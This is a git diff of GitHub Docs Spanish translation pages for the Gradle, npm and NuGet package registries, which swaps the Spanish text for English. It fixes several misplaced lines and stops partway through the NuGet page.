b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md index 3b1f94438a..92f12983f8 100644 --- a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md +++ b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md @@ -1,6 +1,6 @@ --- -title: Trabajar con el registro de Gradle -intro: 'Puedes configurar a Gradle para que publique paquetes en el registro de Gradle del {% data variables.product.prodname_registry %} y para utilizar los paquetes almacenados en el {% data variables.product.prodname_registry %} como dependencias en un proyecto de Java.' +title: Working with the Gradle registry +intro: 'You can configure Gradle to publish packages to the {% data variables.product.prodname_registry %} Gradle registry and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Java project.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-gradle-for-use-with-github-package-registry @@ -13,41 +13,41 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: Registro de Gradle +shortTitle: Gradle registry --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -**Nota:** Cuando instalas o publicas una imagen de docker, {% data variables.product.prodname_registry %} no es compatible con capas externas, tales como imágenes de Windows. +{% data reusables.package_registry.admins-can-configure-package-types %} -## Autenticarte en {% data variables.product.prodname_registry %} +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} -{% data reusables.package_registry.authenticate-packages-github-token %} Para obtener más información sobre cómo utilizar el `GITHUB_TOKEN` con Gradle, consulta la sección "[Publicar paquetes de Java con Gradle](/actions/guides/publishing-java-packages-with-gradle#publishing-packages-to-github-packages)". +{% data reusables.package_registry.authenticate-packages-github-token %} For more information about using `GITHUB_TOKEN` with Gradle, see "[Publishing Java packages with Gradle](/actions/guides/publishing-java-packages-with-gradle#publishing-packages-to-github-packages)." -### Autenticarte con un token de acceso personal +### Authenticating with a personal access token {% data reusables.package_registry.required-scopes %} -Puedes autenticar a {% data variables.product.prodname_registry %} con Gradle usando ya sea Gradle Groovy o Kotlin DSL editando tu archivo *build.gradle* (Gradle Groovy) o archivo *build.gradle.kts* (Kotlin DSL) para incluir tu token de acceso personal. También puedes configurar Gradle Groovy y Kotlin DSL para que reconozcan un paquete único o múltiples paquetes en un repositorio. +You can authenticate to {% data variables.product.prodname_registry %} with Gradle using either Gradle Groovy or Kotlin DSL by editing your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file to include your personal access token. You can also configure Gradle Groovy and Kotlin DSL to recognize a single package or multiple packages in a repository. {% ifversion ghes %} -Reemplaza *REGISTRY-URL* con la URL para el registro Maven de tu instancia. Si tu instancia tiene habilitado el aislamiento de subdominios, utiliza `maven.HOSTNAME`. Si tu instancia tiene inhabilitado el aislamiento de subdominios, utiliza `HOSTNAME/_registry/maven`. Cualquiera que sea el caso, reemplaza *HOSTNAME* con el nombre de host de tu instancia de {% data variables.product.prodname_ghe_server %}. +Replace *REGISTRY-URL* with the URL for your instance's Maven registry. If your instance has subdomain isolation enabled, use `maven.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/maven`. In either case, replace *HOSTNAME* with the host name of your {% data variables.product.prodname_ghe_server %} instance. {% elsif ghae %} -Reemplaza a *REGISTRY-URL* con la URL del registro de MAven de tu empresa, `maven.HOSTNAME`. Reemplaza a *HOSTNAME* con el nombre de host de {% data variables.product.product_location %}. +Replace *REGISTRY-URL* with the URL for your enterprise's Maven registry, `maven.HOSTNAME`. Replace *HOSTNAME* with the host name of {% data variables.product.product_location %}. {% endif %} -Reemplaza *USERNAME* con tu nombre de usuario {% data variables.product.prodname_dotcom %}, *TOKEN* con tu token de acceso personal, *REPOSITORY* con el nombre del repositorio que contiene el paquete que deseas publicar y *OWNER* con el nombre de la cuenta de usuario o de organización en {% data variables.product.prodname_dotcom %} que posee el repositorio. Dado que las letras mayúsculas no son compatibles, debes usar minúsculas para el propietario del repositorio si el nombre de usuario o el nombre de la organización de {% data variables.product.prodname_dotcom %} contiene letras mayúsculas. +Replace *USERNAME* with your {% data variables.product.prodname_dotcom %} username, *TOKEN* with your personal access token, *REPOSITORY* with the name of the repository containing the package you want to publish, and *OWNER* with the name of the user or organization account on {% data variables.product.prodname_dotcom %} that owns the repository. Because uppercase letters aren't supported, you must use lowercase letters for the repository owner even if the {% data variables.product.prodname_dotcom %} user or organization name contains uppercase letters. {% note %} -**Nota:** {% data reusables.package_registry.apache-maven-snapshot-versions-supported %} Para obtener un ejemplo, consulta "[Configurar Apache Maven para usar con {% data variables.product.prodname_registry %}](/packages/using-github-packages-with-your-projects-ecosystem/configuring-apache-maven-for-use-with-github-packages)." +**Note:** {% data reusables.package_registry.apache-maven-snapshot-versions-supported %} For an example, see "[Configuring Apache Maven for use with {% data variables.product.prodname_registry %}](/packages/using-github-packages-with-your-projects-ecosystem/configuring-apache-maven-for-use-with-github-packages)." {% endnote %} -#### Ejemplo de uso de Gradle Groovy para un paquete único en un repositorio +#### Example using Gradle Groovy for a single package in a repository ```shell plugins { @@ -72,7 +72,7 @@ publishing { } ``` -#### Ejemplo usando Gradle Groovy para múltiples paquetes en el mismo repositorio +#### Example using Gradle Groovy for multiple packages in the same repository ```shell plugins { @@ -100,7 +100,7 @@ subprojects { } ``` -#### Ejemplo de uso de Kotlin DSL para un paquete único en el mismo repositorio +#### Example using Kotlin DSL for a single package in the same repository ```shell plugins { @@ -125,7 +125,7 @@ publishing { } ``` -#### Ejemplo de uso de Kotlin DSL para múltiples paquetes en el mismo repositorio +#### Example using Kotlin DSL for multiple packages in the same repository ```shell plugins { @@ -153,42 +153,42 @@ subprojects { } ``` -## Publicar un paquete +## Publishing a package -{% data reusables.package_registry.default-name %} Por ejemplo, {% data variables.product.prodname_dotcom %} publicará un paquete denominado `com.example.test` en el repositorio `OWNER/test` {% data variables.product.prodname_registry %}. +{% data reusables.package_registry.default-name %} For example, {% data variables.product.prodname_dotcom %} will publish a package named `com.example.test` in the `OWNER/test` {% data variables.product.prodname_registry %} repository. {% data reusables.package_registry.viewing-packages %} {% data reusables.package_registry.authenticate-step %} -2. Después de crear tu paquete, puedes publicar el paquete. +2. After creating your package, you can publish the package. ```shell $ gradle publish ``` -## Utilizar un paquete publicado +## Using a published package -Para utiliza run paquete publicado del {% data variables.product.prodname_registry %}, agrégalo como una dependencia y luego agrega el repositorio a tu proyecto. Para obtener más información, consulta "[Declarar dependencias](https://docs.gradle.org/current/userguide/declaring_dependencies.html)" en la documentación de Gradle. +To use a published package from {% data variables.product.prodname_registry %}, add the package as a dependency and add the repository to your project. For more information, see "[Declaring dependencies](https://docs.gradle.org/current/userguide/declaring_dependencies.html)" in the Gradle documentation. {% data reusables.package_registry.authenticate-step %} -2. Agrega las dependencias del paquete a tu archivo *build.gradle* (Gradle Groovy) o archivo *build.gradle.kts* (Kotlin DSL). +2. Add the package dependencies to your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file. - Ejemplo utilizando Gradle Groovy: + Example using Gradle Groovy: ```shell dependencies { implementation 'com.example:package' } ``` - Ejemplo de uso de Kotlin DSL: + Example using Kotlin DSL: ```shell dependencies { implementation("com.example:package") } ``` -3. Agrega el repositorio a tu archivo de *build.gradle* (Gradel Groovy) o a tu archivo de *build.gradle.kts* (Kotlin DSL). +3. Add the repository to your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file. - Ejemplo utilizando Gradle Groovy: + Example using Gradle Groovy: ```shell repositories { maven { @@ -200,7 +200,7 @@ Para utiliza run paquete publicado del {% data variables.product.prodname_regist } } ``` - Ejemplo de uso de Kotlin DSL: + Example using Kotlin DSL: ```shell repositories { maven { @@ -213,7 +213,7 @@ Para utiliza run paquete publicado del {% data variables.product.prodname_regist } ``` -## Leer más +## Further reading -- "[Trabajar con el registro de Apache Maven](/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry)" +- "[Working with the Apache Maven registry](/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry)" - "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md index ecc79de62e..6f606db0cb 100644 --- a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md +++ b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md @@ -1,6 +1,6 @@ --- -title: Trabajar con el registro de npm -intro: 'Puedes configurar npm para publicar paquetes en {% data variables.product.prodname_registry %} y para usar los paquetes almacenados en {% data variables.product.prodname_registry %} como dependencias en un proyecto npm.' +title: Working with the npm registry +intro: 'You can configure npm to publish packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in an npm project.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-npm-for-use-with-github-package-registry @@ -13,38 +13,38 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: Registro de npm +shortTitle: npm registry --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -**Nota:** Cuando instalas o publicas una imagen de docker, {% data variables.product.prodname_registry %} no es compatible con capas externas, tales como imágenes de Windows. +{% data reusables.package_registry.admins-can-configure-package-types %} -## Límites para las versiónes de npm publicadas +## Limits for published npm versions -Si estableces más de 1,000 versiones de paquetes de npm en el {% data variables.product.prodname_registry %}, podrías notar que ocurren problemas de rendimiento y de tiempos excedidos durante el uso. +If you publish over 1,000 npm package versions to {% data variables.product.prodname_registry %}, you may see performance issues and timeouts occur during usage. -En el futuro, para mejorar el rendimiento del servicio, no podrás publicar más de 1,000 versiones de un paquete en {% data variables.product.prodname_dotcom %}. Cualquier versión que se publique antes de llegar a este límite aún será legible. +In the future, to improve performance of the service, you won't be able to publish more than 1,000 versions of a package on {% data variables.product.prodname_dotcom %}. Any versions published before hitting this limit will still be readable. -Si llegas a este límite, considera borrar las versiones del paquete o contacta a soporte para recibir ayuda. Cuando se aplique este límite, actualizaremos nuestra documentación con una forma de dar soluciones para él. Para obtener más información, consulta la sección "{% ifversion fpt or ghes > 3.0 or ghec %}[Borrar y restablecer un paquete](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Borrar un paquete](/packages/learn-github-packages/deleting-a-package){% endif %}" o [Contactar a Soporte](/packages/learn-github-packages/about-github-packages#contacting-support)". +If you reach this limit, consider deleting package versions or contact Support for help. When this limit is enforced, our documentation will be updated with a way to work around this limit. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" or "[Contacting Support](/packages/learn-github-packages/about-github-packages#contacting-support)." -## Autenticarte en {% data variables.product.prodname_registry %} +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} {% data reusables.package_registry.authenticate-packages-github-token %} -### Autenticarte con un token de acceso personal +### Authenticating with a personal access token {% data reusables.package_registry.required-scopes %} -Puedes autenticarte en {% data variables.product.prodname_registry %} con npm al editar tu archivo *~/.npmrc* por usuario para incluir tu token de acceso personal o al iniciar sesión en npm en la línea de comando por medio tu nombre de usuario y token de acceso personal. +You can authenticate to {% data variables.product.prodname_registry %} with npm by either editing your per-user *~/.npmrc* file to include your personal access token or by logging in to npm on the command line using your username and personal access token. -Para autenticarte agregando tu token de acceso personal a tu archivo *~/.npmrc*, edita el archivo *~/.npmrc* para que tu proyecto incluya la siguiente línea, reemplazando a{% ifversion ghes or ghae %}*HOSTNAME* con el nombre de host de {% data variables.product.product_location %} y a {% endif %}*TOKEN* con tu token de acceso personal. Crea un nuevo archivo *~/.npmrc* si no existe uno. +To authenticate by adding your personal access token to your *~/.npmrc* file, edit the *~/.npmrc* file for your project to include the following line, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.product.product_location %} and {% endif %}*TOKEN* with your personal access token. Create a new *~/.npmrc* file if one doesn't exist. {% ifversion ghes %} -Para obtener más información acerca de cómo crear un paquete, consulta la [documentación maven.apache.org](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html). +If your instance has subdomain isolation enabled: {% endif %} ```shell @@ -52,22 +52,19 @@ Para obtener más información acerca de cómo crear un paquete, consulta la [do ``` {% ifversion ghes %} -Por ejemplo, los proyectos *OctodogApp* y *OctocatApp* publicarán en el mismo repositorio: +If your instance has subdomain isolation disabled: ```shell -$ npm login --registry=https://npm.pkg.github.com -> Username: USERNAME -> Password: TOKEN -> Email: PUBLIC-EMAIL-ADDRESS +//HOSTNAME/_registry/npm/:_authToken=TOKEN ``` {% endif %} -Para autenticarte al iniciar sesión en npm, usa el comando `npm login`, reemplaza *USERNAME* por tu nombre de usuario de {% data variables.product.prodname_dotcom %}, *TOKEN* por tu token de acceso personal y *PUBLIC-EMAIL-ADDRESS* por tu dirección de correo electrónico. +To authenticate by logging in to npm, use the `npm login` command, replacing *USERNAME* with your {% data variables.product.prodname_dotcom %} username, *TOKEN* with your personal access token, and *PUBLIC-EMAIL-ADDRESS* with your email address. -Si el {% data variables.product.prodname_registry %} no es tu registro de paquetes predeterminado para utilizar npm y quieres utilizar el comando `npm audit`, te recomendamos que utilices el marcador `--scope` con el propietario del paquete cuando te autentiques en {% data variables.product.prodname_registry %}. +If {% data variables.product.prodname_registry %} is not your default package registry for using npm and you want to use the `npm audit` command, we recommend you use the `--scope` flag with the owner of the package when you authenticate to {% data variables.product.prodname_registry %}. {% ifversion ghes %} -Para obtener más información acerca de cómo crear un paquete, consulta la [documentación maven.apache.org](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html). +If your instance has subdomain isolation enabled: {% endif %} ```shell @@ -79,7 +76,7 @@ $ npm login --scope=@OWNER --registry=https://{% ifversion fpt or ghec ``` {% ifversion ghes %} -Por ejemplo, los proyectos *OctodogApp* y *OctocatApp* publicarán en el mismo repositorio: +If your instance has subdomain isolation disabled: ```shell $ npm login --scope=@OWNER --registry=https://HOSTNAME/_registry/npm/ @@ -89,40 +86,40 @@ $ npm login --scope=@OWNER --registry=https://HOSTNAME/_regist ``` {% endif %} -## Publicar un paquete +## Publishing a package {% note %} -**Nota:** Los nombres y alcances de los paquetes deben escribirs exclusivamente en minúscula. +**Note:** Package names and scopes must only use lowercase letters. {% endnote %} -De forma predeterminada, {% data variables.product.prodname_registry %} publica un paquete en el repositorio de {% data variables.product.prodname_dotcom %} que especifiques en el campo nombre del archivo *package.json*. Por ejemplo, si publicas un paquete denominado `@my-org/test` en el repositorio de `my-org/test` {% data variables.product.prodname_dotcom %}. Puedes agregar un resumen para la página de descripción del paquete al incluir un archivo *README.md* en el directorio de tu paquete. Para obtener más información, consulta "[Trabajar con package.json](https://docs.npmjs.com/getting-started/using-a-package.json)" y "[Cómo crear módulos Node.js](https://docs.npmjs.com/getting-started/creating-node-modules)" en la documentación de npm. +By default, {% data variables.product.prodname_registry %} publishes a package in the {% data variables.product.prodname_dotcom %} repository you specify in the name field of the *package.json* file. For example, you would publish a package named `@my-org/test` to the `my-org/test` {% data variables.product.prodname_dotcom %} repository. You can add a summary for the package listing page by including a *README.md* file in your package directory. For more information, see "[Working with package.json](https://docs.npmjs.com/getting-started/using-a-package.json)" and "[How to create Node.js Modules](https://docs.npmjs.com/getting-started/creating-node-modules)" in the npm documentation. -Puedes publicar varios paquetes en el mismo repositorio de {% data variables.product.prodname_dotcom %} al incluir un campo `URL` en el archivo *package.json*. Para obtener más información, consulta "[Publicar varios paquetes en el mismo repositorio](#publishing-multiple-packages-to-the-same-repository)". +You can publish multiple packages to the same {% data variables.product.prodname_dotcom %} repository by including a `URL` field in the *package.json* file. For more information, see "[Publishing multiple packages to the same repository](#publishing-multiple-packages-to-the-same-repository)." -Puedes configurar la asignación de alcance de tu proyecto por medio de un archivo *.npmrc* local en el proyecto o mediante la opción `publishConfig` en *package.json*. {% data variables.product.prodname_registry %} solo admite paquetes npm con alcance definido. Los paquetes con alcance definido tienen nombres con el formato de `@owner/name`. Además, siempre comienzan con un símbolo `@`. Es posible que tengas que actualizar el nombre en tu *package.json* para usar el nombre de alcance definido. Por ejemplo, `"name": "@codertocat/hello-world-npm"`. +You can set up the scope mapping for your project using either a local *.npmrc* file in the project or using the `publishConfig` option in the *package.json*. {% data variables.product.prodname_registry %} only supports scoped npm packages. Scoped packages have names with the format of `@owner/name`. Scoped packages always begin with an `@` symbol. You may need to update the name in your *package.json* to use the scoped name. For example, `"name": "@codertocat/hello-world-npm"`. {% data reusables.package_registry.viewing-packages %} -### Publicar un paquete por medio de un archivo *.npmrc* local +### Publishing a package using a local *.npmrc* file -Puedes usar un archivo *.npmrc* para configurar la asignación del alcance de tu proyecto. En el archivo *.npmrc*, usa la URL y el propietario de la cuenta de {% data variables.product.prodname_registry %} para que {% data variables.product.prodname_registry %} sepa dónde enrutar las solicitudes del paquete. Usar un archivo *.npmrc* impide que otros programadores publiquen accidentalmente el paquete en npmjs.org en lugar de {% data variables.product.prodname_registry %}. +You can use an *.npmrc* file to configure the scope mapping for your project. In the *.npmrc* file, use the {% data variables.product.prodname_registry %} URL and account owner so {% data variables.product.prodname_registry %} knows where to route package requests. Using an *.npmrc* file prevents other developers from accidentally publishing the package to npmjs.org instead of {% data variables.product.prodname_registry %}. {% data reusables.package_registry.authenticate-step %} {% data reusables.package_registry.create-npmrc-owner-step %} {% data reusables.package_registry.add-npmrc-to-repo-step %} -1. Verifica el nombre de tu paquete en el *package.json* de tu proyecto. El campo `name (nombre)` debe contener el alcance y el nombre del paquete. Por ejemplo, si tu paquete se denomina "test" (prueba) y vas a publicar en la organización "My-org" de {% data variables.product.prodname_dotcom %}, el campo `name (nombre)` de tu *package.json* debería ser `@my-org/test`. +1. Verify the name of your package in your project's *package.json*. The `name` field must contain the scope and the name of the package. For example, if your package is called "test", and you are publishing to the "My-org" {% data variables.product.prodname_dotcom %} organization, the `name` field in your *package.json* should be `@my-org/test`. {% data reusables.package_registry.verify_repository_field %} {% data reusables.package_registry.publish_package %} -### Publicar un paquete por medio de `publishConfig` en el archivo *package.json* +### Publishing a package using `publishConfig` in the *package.json* file -Puedes usar el elemento `publishConfig` en el archivo *package.json* para especificar el registro en el que deseas que se publique el paquete. Para obtener más información, consulta "[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)" en la documentación de npm. +You can use `publishConfig` element in the *package.json* file to specify the registry where you want the package published. For more information, see "[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)" in the npm documentation. -1. Edita el archivo *package.json* de tu paquete e incluye una entrada de `publishConfig`. +1. Edit the *package.json* file for your package and include a `publishConfig` entry. {% ifversion ghes %} - Para obtener más información acerca de cómo crear un paquete, consulta la [documentación maven.apache.org](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html). + If your instance has subdomain isolation enabled: {% endif %} ```shell "publishConfig": { @@ -130,7 +127,7 @@ Puedes usar el elemento `publishConfig` en el archivo *package.json* para especi }, ``` {% ifversion ghes %} - Por ejemplo, los proyectos *OctodogApp* y *OctocatApp* publicarán en el mismo repositorio: + If your instance has subdomain isolation disabled: ```shell "publishConfig": { "registry":"https://HOSTNAME/_registry/npm/" @@ -140,34 +137,34 @@ Puedes usar el elemento `publishConfig` en el archivo *package.json* para especi {% data reusables.package_registry.verify_repository_field %} {% data reusables.package_registry.publish_package %} -## Publicar varios paquetes en el mismo repositorio +## Publishing multiple packages to the same repository -Para publicar varios paquetes en el mismo repositorio, puedes incluir la URL del repositorio de {% data variables.product.prodname_dotcom %} en el campo `repository (repositorio)` del archivo *package.json* para cada paquete. +To publish multiple packages to the same repository, you can include the URL of the {% data variables.product.prodname_dotcom %} repository in the `repository` field of the *package.json* file for each package. -Para asegurarte de que la URL del repositorio sea correcta, reemplaza REPOSITORY por el nombre del repositorio que contiene el paquete que deseas publicar y OWNER por el nombre de la cuenta de usuario o de organización en {% data variables.product.prodname_dotcom %} que posee el repositorio. +To ensure the repository's URL is correct, replace REPOSITORY with the name of the repository containing the package you want to publish, and OWNER with the name of the user or organization account on {% data variables.product.prodname_dotcom %} that owns the repository. -{% data variables.product.prodname_registry %} coincidirá con el repositorio en base a la URL, en lugar de basarse en el nombre del paquete. +{% data variables.product.prodname_registry %} will match the repository based on the URL, instead of based on the package name. ```shell "repository":"https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY", ``` -## Instalar un paquete +## Installing a package -Puedes instalar paquetes desde {% data variables.product.prodname_registry %} al agregar los paquetes como dependencias en el archivo *package.json* para tu proyecto. Para obtener más información sobre el uso de un *package.json* en tu proyecto, consulta "[Trabajar con package.json](https://docs.npmjs.com/getting-started/using-a-package.json)" en la documentación de npm. +You can install packages from {% data variables.product.prodname_registry %} by adding the packages as dependencies in the *package.json* file for your project. For more information on using a *package.json* in your project, see "[Working with package.json](https://docs.npmjs.com/getting-started/using-a-package.json)" in the npm documentation. -Por defecto, puedes agregar paquetes de una organización. Para obtener más información, consulta la sección "[Instalar paquetes de otras organizaciones](#installing-packages-from-other-organizations)". +By default, you can add packages from one organization. For more information, see "[Installing packages from other organizations](#installing-packages-from-other-organizations)." -También necesitas agregar el archivo *.npmrc* a tu proyecto para que todas las solicitudes para instalar paquetes se {% ifversion ghae %}enruten a{% else %}pasen por{% endif %} el {% data variables.product.prodname_registry %}. {% ifversion fpt or ghes or ghec %}Cuando enrutas todas las solicitudes de paquetes a través del {% data variables.product.prodname_registry %}, puedes utilizar tanto los paquetes dentro como fuera del alcance de *npmjs.org*. Para obtener más información, consulta la sección de "[npm-scope](https://docs.npmjs.com/misc/scope)" en la documentación de npm.{% endif %} +You also need to add the *.npmrc* file to your project so that all requests to install packages will {% ifversion ghae %}be routed to{% else %}go through{% endif %} {% data variables.product.prodname_registry %}. {% ifversion fpt or ghes or ghec %}When you route all package requests through {% data variables.product.prodname_registry %}, you can use both scoped and unscoped packages from *npmjs.org*. For more information, see "[npm-scope](https://docs.npmjs.com/misc/scope)" in the npm documentation.{% endif %} {% ifversion ghae %} -Predeterminadamente, solo puedes utilizar paquetes de npm hospedados en tu empresa y no podrás utilizar paquetes fuera del alcance. Para obtener más información sobre el alcance de los paquetes, consulta la sección de "[npm-scope](https://docs.npmjs.com/misc/scope)" en la documentación de npm. En caso de que se requiera, se puede habilitar el {% data variables.product.prodname_dotcom %} en un proxy de nivel superior como npmjs.org. Una vez que se habilite un proxy de nivel superior, si un paquete que se haya solicitado no se encuentra en tu empresa, el {% data variables.product.prodname_registry %} hará una solicitud de proxy a npmjs.org. +By default, you can only use npm packages hosted on your enterprise, and you will not be able to use unscoped packages. For more information on package scoping, see "[npm-scope](https://docs.npmjs.com/misc/scope)" in the npm documentation. If required, {% data variables.product.prodname_dotcom %} support can enable an upstream proxy to npmjs.org. Once an upstream proxy is enabled, if a requested package isn't found on your enterprise, {% data variables.product.prodname_registry %} makes a proxy request to npmjs.org. {% endif %} {% data reusables.package_registry.authenticate-step %} {% data reusables.package_registry.create-npmrc-owner-step %} {% data reusables.package_registry.add-npmrc-to-repo-step %} -4. Configura *package.json* en tu proyecto para usar el paquete que estás instalando. Para agregar las dependencias de tu paquete al archivo *package.json* para {% data variables.product.prodname_registry %}, especifica el nombre del paquete de alcance completo, como `@my-org/server`. Para paquetes de *npmjs.com*, especifica el nombre completo, como `@babel/core` o `@lodash`. Por ejemplo, el archivo *package.json* a continuación utiliza el paquete `@octo-org/octo-app` como una dependencia. +4. Configure *package.json* in your project to use the package you are installing. To add your package dependencies to the *package.json* file for {% data variables.product.prodname_registry %}, specify the full-scoped package name, such as `@my-org/server`. For packages from *npmjs.com*, specify the full name, such as `@babel/core` or `@lodash`. For example, this following *package.json* uses the `@octo-org/octo-app` package as a dependency. ```json { @@ -182,18 +179,18 @@ Predeterminadamente, solo puedes utilizar paquetes de npm hospedados en tu empre } } ``` -5. Instala el paquete. +5. Install the package. ```shell $ npm install ``` -### Instalar paquetes de otras organizaciones +### Installing packages from other organizations -Por defecto, solo puedes usar paquetes de {% data variables.product.prodname_registry %} de una organización. Si te gustaría enrutar las solicitudes de paquetes a organizaciones y usuarios múltiples, puedes agregar líneas adicionales a tu archivo de *.npmrc*, reemplazando a {% ifversion ghes or ghae %}*HOSTNAME* con el nombre de host de {% data variables.product.product_location %} y a {% endif %}*OWNER* con el nombre de la cuenta de usuario o de organización a la que pertenece el repositorio que contiene tu proyecto. +By default, you can only use {% data variables.product.prodname_registry %} packages from one organization. If you'd like to route package requests to multiple organizations and users, you can add additional lines to your *.npmrc* file, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.product.product_location %} and {% endif %}*OWNER* with the name of the user or organization account that owns the repository containing your project. {% ifversion ghes %} -Para obtener más información acerca de cómo crear un paquete, consulta la [documentación maven.apache.org](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html). +If your instance has subdomain isolation enabled: {% endif %} ```shell @@ -202,7 +199,7 @@ Para obtener más información acerca de cómo crear un paquete, consulta la [do ``` {% ifversion ghes %} -Por ejemplo, los proyectos *OctodogApp* y *OctocatApp* publicarán en el mismo repositorio: +If your instance has subdomain isolation disabled: ```shell @OWNER:registry=https://HOSTNAME/_registry/npm @@ -211,11 +208,11 @@ Por ejemplo, los proyectos *OctodogApp* y *OctocatApp* publicarán en el mismo r {% endif %} {% ifversion ghes %} -## Utilizar el registro oficial de NPM +## Using the official NPM registry -El {% data variables.product.prodname_registry %} te permite acceder al registro oficial de NPM en `registry.npmjs.com`, si tu administrador de {% data variables.product.prodname_ghe_server %} habilitó esta característica. Para obtener más información, consulta la sección [Conectarse al registro oficial de NPM](/admin/packages/configuring-packages-support-for-your-enterprise#connecting-to-the-official-npm-registry). +{% data variables.product.prodname_registry %} allows you to access the official NPM registry at `registry.npmjs.com`, if your {% data variables.product.prodname_ghe_server %} administrator has enabled this feature. For more information, see [Connecting to the official NPM registry](/admin/packages/configuring-packages-support-for-your-enterprise#connecting-to-the-official-npm-registry). {% endif %} -## Leer más +## Further reading - "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md index e61aad83a3..347a099de3 100644 --- a/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md +++ b/translations/es-ES/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md @@ -1,6 +1,6 @@ --- -title: Trabajar con el registro de NuGet -intro: 'Puedes configurar la interfaz de línea de comando (CLI) `dotnet` para publicar paquetes NuGet en {% data variables.product.prodname_registry %} y utilizar paquetes almacenados en {% data variables.product.prodname_registry %} como dependencias en un proyecto de .NET.' +title: Working with the NuGet registry +intro: 'You can configure the `dotnet` command-line interface (CLI) to publish NuGet packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a .NET project.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-nuget-for-use-with-github-package-registry @@ -14,21 +14,21 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: Registro de NuGet +shortTitle: NuGet registry --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -**Nota:** Cuando instalas o publicas una imagen de docker, {% data variables.product.prodname_registry %} no es compatible con capas externas, tales como imágenes de Windows. +{% data reusables.package_registry.admins-can-configure-package-types %} -## Autenticarte en {% data variables.product.prodname_registry %} +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} -### Autenticarte con el `GITHUB_TOKEN` en {% data variables.product.prodname_actions %} +### Authenticating with `GITHUB_TOKEN` in {% data variables.product.prodname_actions %} -Utiliza el siguiente comando para autenticarte en el {% data variables.product.prodname_registry %} en un flujo de trabajo de {% data variables.product.prodname_actions %} utilizando el `GITHUB_TOKEN` en vez de codificar un token rígidamente en un archivo de nuget.config en el repositorio: +Use the following command to authenticate to {% data variables.product.prodname_registry %} in a {% data variables.product.prodname_actions %} workflow using the `GITHUB_TOKEN` instead of hardcoding a token in a nuget.config file in the repository: ```shell dotnet nuget add source --username USERNAME --password {%raw%}${{ secrets.GITHUB_TOKEN }}{% endraw %} --store-password-in-clear-text --name github "https://{% ifversion fpt or ghec %}nuget.pkg.github.com{% else %}nuget.HOSTNAME{% endif %}/OWNER/index.json" @@ -36,19 +36,19 @@ dotnet nuget add source --username USERNAME --password {%raw%}${{ secrets.GITHUB {% data reusables.package_registry.authenticate-packages-github-token %} -### Autenticarte con un token de acceso personal +### Authenticating with a personal access token {% data reusables.package_registry.required-scopes %} -Para autenticarte en {% data variables.product.prodname_registry %} con la interfaz de la línea de comando (CLI) `dotnet`, crea un archivo *nuget.config* en el directorio de tu proyecto especificando {% data variables.product.prodname_registry %} como una fuente en `packageSources` para el cliente de la CLI `Dotnet`. +To authenticate to {% data variables.product.prodname_registry %} with the `dotnet` command-line interface (CLI), create a *nuget.config* file in your project directory specifying {% data variables.product.prodname_registry %} as a source under `packageSources` for the `dotnet` CLI client. -Debes reemplazar: -- 